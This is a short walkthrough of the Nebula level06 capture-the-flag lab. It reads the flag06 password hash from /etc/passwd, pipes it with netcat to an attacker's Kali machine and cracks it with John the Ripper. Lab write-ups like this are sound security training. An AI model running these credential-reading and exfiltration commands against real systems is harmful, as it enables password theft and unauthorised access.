Exploit-Exercice : Nebula
Level06 - John is your friend
In this tutorial you will learn how to crack old unix passwd
Here what we can find on exploit-exercice
The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.
What we should do ? find the password credential maybe the password is in the /etc/passwd let’s grep flag06 account
you can see the encrypted password for flag06 let’s crack it with john 
On nebula run
grep "flag06" /etc/passwd | nc $ip_of_your_kali 8888
On the kali linux machine
nc -lvp 8888 > password
just run john on the file now
Here we cracked the password “hello”
log in nebula with flag06 hello
This is not hard right ?
See you for the next level !
